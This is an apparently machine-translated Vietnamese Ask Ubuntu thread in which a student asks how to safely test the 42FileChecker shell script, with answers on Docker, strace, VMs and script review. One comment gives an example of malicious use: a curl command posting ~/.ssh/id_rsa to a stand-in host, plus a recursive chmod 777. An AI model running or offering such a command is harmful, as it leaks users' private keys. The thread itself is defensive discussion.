Làm cách nào tôi có thể kiểm tra tập lệnh shell trong môi trường an toàn của Cameron để tránh gây hại cho máy tính của tôi?


29

Tôi muốn cài đặt một tập lệnh bash nhất định có tên 42FileChecker bằng các lệnh:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Nhưng tôi không biết nếu 42FileChecker.sh sẽ làm bất kỳ điều gì lạ trên PC của tôi vì tôi là người mới bắt đầu và không biết điều gì đang xảy ra trong kịch bản đó. Có cách nào để chạy nó trong một thiết bị đầu cuối giả hoặc thư mục gốc giả hoặc một cái gì đó tương tự để xem điều gì xảy ra để tôi tránh một cái gì đó điên rồ như định dạng ổ đĩa của tôi. Tôi cũng muốn biết bất kỳ cách nào để kiểm tra shell cho các kịch bản shell trong tương lai, ngay cả khi 42FileChecker.sh an toàn.


5
Vì nó là một tập lệnh, bạn có thể đọc nó và đọc các mantrang trên các lệnh có trong nó.
ví von

1
Lưu ý rằng vì mã được lưu trữ trên Git, bạn có thể đọc qua nguồn của công cụ. Nếu đánh giá mã không phải là việc của bạn, thì thực hiện một số phân tích "động" bằng cách chạy nó trong môi trường an toàn (hộp cát, VM) là lựa chọn tốt nhất tiếp theo của bạn
BlueCacti

4
@waltinator Nếu bạn lo lắng về hành vi độc hại , thay vì chỉ là hành vi ngoài ý muốn, đọc các trang nam sẽ không có ích.
Ray

1
@Ray, chỉ khi các lệnh đang chạy là độc hại, vì vậy các trang man của chúng sẽ che giấu tác dụng thực sự của chúng. Tôi nghĩ waltinator đã đề cập đến các trường hợp có thể xảy ra nhiều hơn sử dụng độc hại của lệnh tiêu chuẩn, ví dụ chmod 777 -R ~hoặc curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsahoặc tương đương.
tự đại diện

1
Liên quan . Bạn có thể kiểm tra các tập lệnh mà không gặp rủi ro cho máy tính của mình và nó sẽ dạy các đồng nghiệp của bạn khóa các phiên của họ.
Eric Duminil

Câu trả lời:


4

Tôi không có chuyên gia về điều này, nhưng tôi khuyên bạn nên sử dụng stracedocker.

Vì vậy, trước tiên hãy tạo một Docker container theo hướng dẫn trong câu trả lời này . Nhưng sự bổ sung là bước tiến đó sẽ cho bạn biết các cuộc gọi hệ thống được thực hiện. Hoặc để trích dẫn:

strace là một tiện ích không gian người dùng chẩn đoán, gỡ lỗi và hướng dẫn cho Linux. Nó được sử dụng để giám sát và giả mạo các tương tác giữa các quy trình và nhân Linux, bao gồm các cuộc gọi hệ thống, phân phối tín hiệu và thay đổi trạng thái của quy trình.

Bạn có thể kết hợp các lệnh này để

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Vì vậy, điều này sẽ đi qua từng dòng của kịch bản (từng bước) và cũng thực hiện tất cả những điều này trong một thùng chứa, điều đó có nghĩa là tất cả các lệnh sẽ hoàn toàn không làm gì với hệ thống của tôi nhưng sẽ được chạy như bình thường. Tôi có hiểu điều này một cách chính xác không?
nicholas

1
@nicholas vâng, container docker là một máy riêng biệt để bảo vệ bạn, chương trình được đóng hộp cát. Strace sẽ cung cấp cho bạn tất cả các hoạt động mà ứng dụng thực hiện với máy đó, từ mở tệp cho đến thiết lập kết nối mạng.
Thomas

1
Vâng, đó chính xác là những gì tôi đang tìm kiếm, Strace kết hợp với Docker.
nicholas

42

Nếu bạn không chắc chắn kịch bản làm gì, tốt hơn hết là bạn không nên chạy nó cho đến khi bạn chắc chắn nó làm gì. Các cách để giảm bán kính thiệt hại của một tập lệnh xấu bao gồm chạy nó bằng cách sử dụng một người dùng mới, chạy nó trong một thùng chứa hoặc chạy nó trong một máy ảo. Nhưng tuyên bố đầu tiên đó vẫn đúng: Nếu bạn không chắc chắn điều gì sẽ xảy ra, hãy cân nhắc việc không chạy nó cho đến khi bạn làm điều đó.


6
Mặt khác, các kịch bản giống như EULAs: Có, bạn nên đọc và hiểu từng dòng trước khi bạn bán linh hồn của mình, nhưng bạn thì sao?
Peter - Phục hồi

7
@ PeterA.Schneider, nhưng EULA không thực sự làm gì cho đến khi bị đưa ra tòa. Chạy một kịch bản có hiệu lực ngay lập tức trên máy tính của bạn. Đó không phải là quá nhiều về việc đọc mọi dòng; nó nói thêm về "Những phản ánh về sự tin tưởng" và hiểu biết và tin tưởng nguồn gốc của kịch bản.
tự đại diện

29

Như @ctt đã nói, có lẽ nên chạy nó trong một hộp cát loại nào đó trước tiên. Sử dụng VM có lẽ là giải pháp dễ nhất. Multipass khá đơn giản.

Cài đặt nhiều trang (giả sử bạn chưa có):

sudo snap install multipass --beta --classic

Tạo một VM mới:

multipass launch --name myvm

Đăng nhập vào VM mới của bạn:

multipass shell myvm

Sau đó chạy tập lệnh của bạn (bên trong vm của bạn):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Cách tiếp cận này không an toàn. Sau khi bạn chạy tập lệnh trong hộp cát, làm thế nào để bạn biết liệu nó có an toàn không? Nó có thể có tác động có hại mà bạn không thể dễ dàng nói ra. Phần mềm độc hại không nhất thiết phải bật lên và nói "Haha, hiểu rồi!". Ngoài ra, một tập lệnh độc hại có thể dễ dàng hành xử theo cách lành tính trong khi ở trong hộp cát hoặc VM và sau đó hành xử độc hại trên máy tính thực của bạn. (Ví dụ: phát hiện VM là một điều, cũng như dấu vân tay của máy.)
DW

12
Đây là một điểm tuyệt vời. Nếu bạn muốn kiểm tra tập lệnh cho phần mềm độc hại, đây không phải là một giải pháp hiệu quả. Đây là một cách để kiểm tra chức năng mà không gây ô nhiễm hệ thống máy chủ của bạn.
Ryan J. Yoder

Bạn có thể so sánh đầy đủ với VM "điều khiển".
mckenzm

6
@mckenzm: Nhưng nếu là phần mềm độc hại, hoàn toàn có khả năng nó sẽ chọn không làm gì cho đến khi nó thấy mình có quyền truy cập vào thứ gì đó có vẻ ngon ngọt.
Henning Makholm

11

Vì trường bạn đang theo học đã xuất bản các kịch bản, nơi tốt nhất để nói lên mối quan tâm của bạn là với các giảng viên của bạn.

Điều đó nói rằng chúng tôi có thể giúp bạn giải mã mã theo từng dòng. Có lẽ không thực tế cho bất cứ ai ở đây để phân tích tất cả các mã.

Bạn thực sự có 40 tập lệnh bash với tổng số 5.360 dòng. Tôi đã kết hợp chúng lại với nhau và tìm kiếm các lệnh bash / shell có thể bị lạm dụng. Tất cả chúng dường như được sử dụng bình thường :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Không có rm -rf /lệnh để xóa toàn bộ phân vùng đĩa cứng.
  • Không có yêu cầu sudođược sử dụng để chạy tập lệnh.
  • Kịch bản thực sự đảm bảo chỉ các Cchức năng được ủy quyền được sử dụng trong các tệp được kiểm tra.
  • Một trình duyệt nhanh của mã bash / shell cho thấy nó được viết một cách chuyên nghiệp và dễ làm theo.
  • Sử dụng shellcheck trên sáp nhập bao gồm các tệp chỉ tiết lộ ba lỗi cú pháp.
  • Tên tác giả được xác định và tác giả chính thậm chí có hình ảnh của mình trên githubtrang của mình .
  • Mặc dù không có đảm bảo trong cuộc sống, 42FileCheckerxuất hiện an toàn để sử dụng.

Đó không phải là kịch bản bash có thể đọc được của con người mà bạn cần phải lo lắng rất nhiều. Nó được biên dịch các đối tượng nhị phân mà bạn không thể đọc là nguyên nhân gây lo ngại. Ví dụ, một chương trình có tên là "Shiny-bouncy-sphere" có thể vẽ một cái gì đó giống như vậy trên màn hình của bạn nhưng trong nền nó có thể xóa tất cả các tệp của bạn.


Câu trả lời gốc

Tốt nhất là hỏi tác giả của kịch bản những gì nó làm. Thật vậy, bạn gần như có thể gửi nguyên văn câu hỏi của bạn như nó xuất hiện ở trên.

Cũng hỏi tác giả:

  • Tập tin nào được cập nhật?
  • Điều gì xảy ra nếu sự cố do mất điện hoặc lỗi chương trình?
  • Một bản sao lưu nhỏ có thể được thực hiện đầu tiên?

Và bất kỳ câu hỏi hay khác mà bạn có thể nghĩ ra.


Chỉnh sửa 1 - Lo lắng về một tác giả độc hại.

Bạn chỉ nên sử dụng phần mềm có nhiều đánh giá công khai tốt. Các tác giả thay thế mà bạn tin tưởng ở đây trong Ask Ubuntu như Serge, Jacob, Colin King, v.v. Các trang web được tôn trọng khác như Ask Ubuntu và các thành viên đáng kính của họ cũng nên được coi là "không độc hại".

Ưu điểm của "các tác giả đáng kính" ở đây trong Ask Ubuntu là họ đặt giá trị bản thân vào "điểm danh tiếng". Nếu họ cố tình viết mã "đánh cắp" hoặc "làm hỏng" dữ liệu, họ sẽ nhanh chóng đánh mất danh tiếng của mình. Thật vậy, các tác giả có thể phải chịu "cơn thịnh nộ của mod" và bị đình chỉ và / hoặc bị mất 10.000 điểm danh tiếng.


Chỉnh sửa 2 - Không làm theo tất cả các hướng dẫn

Tôi đã xem xét sâu hơn về hướng dẫn tập lệnh bash của bạn:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Phương pháp "an toàn" là chỉ chạy dòng đầu tiên:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Điều này tải xuống các kịch bản nhưng không chạy chúng. Tiếp theo sử dụng nautilus(trình quản lý tệp) để kiểm tra các thư mục và tệp được cài đặt. Rất nhanh bạn phát hiện ra có một tập hợp các kịch bản bash được viết bởi một nhóm sinh viên ở Pháp.

Mục đích của các tập lệnh là biên dịch và kiểm tra các chương trình C cho các chức năng và rò rỉ bộ nhớ không đúng.


1
Tôi nên có, nhưng tôi đã suy nghĩ về các tình huống mà tác giả có thể đang cố ý làm điều gì đó độc hại.
nicholas

1
@nicholas Tôi đã trả lời bình luận của bạn bằng cách sửa lại câu trả lời.
WinEunuuchs2Unix

2
Tôi đang học C trong khóa học Ecole 42. Các chức năng tôi đang thực hiện cần phải chạy qua kiểm tra định mức này. Tôi cần cài đặt 42FileChecker trong Ubuntu để chạy kiểm tra định mức này. Tôi đoán bây giờ tôi chỉ cần tin tưởng vào kịch bản này nhưng tôi cần biết cách thực hiện "chạy an toàn" kịch bản trước vì tôi không giỏi trong việc tìm kiếm người đàn ông. Cảm ơn đã giúp đỡ. Tôi sẽ chạy VM lần sau.
nicholas

2
@nicholas Dòng 24 ~/42FileChecker/includes/display/display_credits.shcông việc của Norminette là phụ thuộc : norminette (42 born2code) http://www.42.fr. Tôi đã đọc điều này tối qua và đó là lý do tại sao tôi viết nó là một trường học (ecole) ở Pháp đã xuất bản 42FileChecker . Từ những gì tôi đã duyệt mã cho đến nay tôi sẽ không lo lắng về việc chạy nó. Thêm vào đó, nó có rất ít lỗi cú pháp được báo cáo bởi shellcheckđiều đáng ngạc nhiên đối với tập lệnh bash 5.360 dòng. Nhiều tập lệnh bash được xuất bản chuyên nghiệp có rất nhiều lỗi cú pháp.
WinEunuuchs2Unix

2
@nicholas Từ quan điểm bảo mật, sử dụng môi trường và tập lệnh được cung cấp cho lớp có lẽ là cách tiếp cận tốt nhất. Nó cũng loại bỏ khả năng hành vi khác với phiên bản khóa học chính thức có thể gây bất ngờ tại thời điểm lần lượt. Bạn có chắc chắn rằng không có quyền truy cập từ xa vào máy này, có thể sử dụng dịch vụ VPN được cung cấp trong khuôn viên trường hoặc SSH từ một máy tính khác mà bạn có thể truy cập từ xa?
kẻ phản diện

5

Bạn có thể sử dụng Docker. Các container Docker được cách ly khỏi HĐH máy chủ, do đó, mọi hoạt động độc hại sẽ ở trong một container, miễn là bạn không cho phép nó ra bằng cách chuyển tiếp cổng hoặc gắn hệ thống tập tin.

Để cài đặt docker:

sudo apt-get install docker.io

Để tải xuống bộ chứa Ubuntu Bionic mới:

docker pull ubuntu:bionic

Sau đó, đăng nhập vào container

docker run -it ubuntu:bionic

và thực hiện thao tác tinh ranh trong đó:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Một lợi ích khác của Docker có thể hữu ích trong việc xác định tập lệnh làm gì là bạn có thể chạy docker diffđể xem những thay đổi nào đã được thực hiện đối với hệ thống tệp kể từ khi bạn khởi chạy bộ chứa. Nhược điểm của việc sử dụng Docker là container không phải là bản sao đầy đủ của hệ thống máy chủ. Hình ảnh Ubuntu mà bạn đề cập ở đây chỉ chứa một bản cài đặt Ubuntu tối thiểu.
Martijn Heemels

2
Thay vì docker run ubuntubạn nên chạy docker run -it ubuntu:bionicViệc -itcung cấp cho bạn một thiết bị đầu cuối tương tác trong vùng chứa và bionicthực sự chạy phiên bản bạn muốn thay vì mặc định latest.
Martijn Heemels

Tôi thích câu trả lời này tốt nhất trong số những câu hỏi mà tôi đã thấy. Tuy nhiên, có vẻ như kịch bản tinh ranh vẫn có thể lạm dụng hệ thống của bạn. Nó bí mật có thể được khai thác Bitcoins, vv Lý tưởng nhất người ta có thể sử dụng lá cờ thêm có thể --memory, --networkvà có lẽ những người khác để thực sự khóa xuống kịch bản.
emory

1
Nếu bạn thực sự hoang tưởng kết hợp câu trả lời này với câu trả lời tốt thứ hai. Chạy docker bên trong một máy ảo và khóa mọi thứ.
emory

3

Xem xét sử dụng chế độ gỡ lỗi bằng cách chạy tập lệnh như:

$ bash -x scriptname

Thông tin Bash hữu ích hơn nữa

Chế độ gỡ lỗi sẽ không ngăn tập lệnh làm điều gì đó xấu, nhưng nó sẽ cho phép bạn đi qua từng tập lệnh và kiểm tra các hiệu ứng. Bạn cũng có thể kiểm tra tập lệnh để biết một số lỗi và / hoặc khai thác tiềm năng phổ biến, ví dụ: tìm kiếm tập lệnh cho bất kỳ sự cố nào xảy ra rmvà xem xét các lệnh đó rất chặt chẽ. Nhiều người trong số những công cụ này có một số sự giúp đỡ xây dựng vào cho thử chúng ra, ví dụ như rm sẽ không xóa một thư mục mặc định, nó cần -r, -Rhoặc --recursivetùy chọn để làm như vậy.

Thậm chí có thể có một số công cụ giống như phần mềm chống vi-rút sẽ tìm kiếm tập lệnh bash cho các mẫu này, nhưng tôi không biết bất kỳ tên nào. Các tập lệnh ví dụ của bạn là loại iffy bổ sung, theo nghĩa là chúng tải xuống các công cụ khác, vì vậy mỗi tập lệnh cũng nên được kiểm tra. Kiểm tra những máy chủ mà họ liên hệ cũng có thể có giá trị.


-x có thể được sử dụng để gỡ lỗi (và tôi sử dụng nó!) nhưng nó sẽ không cho phép bạn bước qua từng dòng script. Nó sẽ cung cấp cho bạn một loại "dấu vết" khi nó thực thi kịch bản ở tốc độ tối đa.
jrw32982 hỗ trợ Monica

2

Thông tin liên quan để cung cấp câu trả lời là không may mắn chỉ được tìm thấy trong một nhận xét của bạn:

Tôi đang học C trong khóa học Ecole 42. Các chức năng tôi đang thực hiện cần phải chạy qua kiểm tra định mức này. Tôi cần cài đặt 42FileChecker trong Ubuntu để chạy kiểm tra định mức này.

Vì vậy, tình huống là trong thực tế, bạn có tùy chọn bỏ qua khóa học hoặc bạn có thể chạy tập lệnh để thực hiện kiểm tra quy phạm trên các nguồn của mình. Nói chuyện với người hướng dẫn của bạn hầu như không phải là một lựa chọn, vì thiếu điều trước đây (dù sao đó cũng không phải là một lựa chọn, không trường nào sẽ thay đổi thủ tục của họ vì một học sinh không hài lòng với nó).
Câu hỏi phải làm gì để hạn chế thiệt hại có thể có từ tập lệnh đó do đó thậm chí không phát sinh. Đó không phải là một kịch bản ngẫu nhiên mà một cô gái sừng với bộ ngực lớn gửi qua email cho bạn, và bạn cần phải chạy để xem hình ảnh của cô ấy .
Bạn đang làm một lớp lập trình. Điều nàylà nơi kịch bản này ra đời. Câu hỏi là liệu bạn có muốn tuân thủ các điều kiện khung để hoàn thành khóa học hay không.

Tuy nhiên, nếu bạn thực sự lo lắng, vẫn có khả năng chạy tập lệnh trong bộ chứa hoặc máy ảo và đặt các nguồn của bạn vào một thư mục dùng chung hoặc chia sẻ mạng do bộ chứa / máy ảo tiếp xúc. Đó là khá nhiều đi theo con đường hoang tưởng đầy đủ, nhưng sau đó một lần nữa ảo hóa không thực sự quá phức tạp trong những ngày này, vì vậy nó không tốn nhiều tiền.

Ngăn chặn khả năng không thể khai thác thực sự khắc nghiệt được chứa trong tập lệnh đó, đăng nhập với tư cách là bất kỳ người dùng không phải root nào (mà bạn khó có thể lựa chọn làm khác trên Ubuntu) và tránh gõ sudo mà không có lý do rõ ràng nào ngăn cản 99% tất cả những điều xấu có thể xảy ra dù sao đi nữa. Chẳng hạn như định dạng đĩa cứng, điều mà bạn lo lắng. Một người dùng bình thường không thể làm điều đó. Điều tồi tệ nhất xảy ra là kịch bản xóa thư mục chính của người dùng. Vì vậy, những gì, không có vấn đề, thực sự.


Hy vọng OP bình luận ở đây nếu sudođược yêu cầu chạy script. +1
WinEunuuchs2Unix

Tránh sudochỉ giới hạn phạm vi xóa / định dạng ngẫu nhiên do lỗi. Nếu tập lệnh là độc hại hoặc có thể khai thác, chạy sudotrên một hệ thống người dùng sẽ không có sự khác biệt thiết yếu.
anh chàng kia

@ WinEunuuchs2Unix Tôi không nghĩ sudo là cần thiết. Tôi thực sự không biết. Mặc dù tôi đã sử dụng sudo cho các lệnh cài đặt apt. Điều đó có nghĩa là tôi cần sử dụng nó để chạy một kịch bản?
nicholas

1
@nicholas Tôi không có bất kỳ chương trình C nào để biên dịch và thử nghiệm 42FileCheckervì vậy tôi thực sự không thể nói sudocó cần thiết hay không. Kịch bản bash không kiểm tra sudo và bảo bạn sử dụng nó. Nó sẽ xuất hiện sau đó sudokhông cần thiết. Một lần nữa tôi nghĩ hỏi người hướng dẫn (giáo viên) của bạn là chính sách tốt nhất. Tôi đã cập nhật câu trả lời của mình một giờ trước với một chút phân tích về kịch bản. Lưu ý tên " mynorminette" xuất hiện lại trong mã.
WinEunuuchs2Unix

1
@nicholas Tôi cá là một số người hướng dẫn cá nhân biết Norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk và Jean-Michel Gigault, những người đã đóng góp 42FileChecker. Tôi tin rằng nói chuyện với các giảng viên sẽ giúp bạn thoải mái. Sau một vài giờ điều tra, tôi có niềm tin vào các lập trình viên và sáng tạo của họ. Jean-Michel Gigault thậm chí có hình ảnh của mình trên github. Khá là một minh chứng của sự tự tin ở một vùng đất nơi hạt giống Vest vàng đang phát triển. Viva La Pháp! (et Ecole 42 :)) Hãy giúp chúng tôi và tham gia để cập nhật tiến độ.
WinEunuuchs2Unix
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.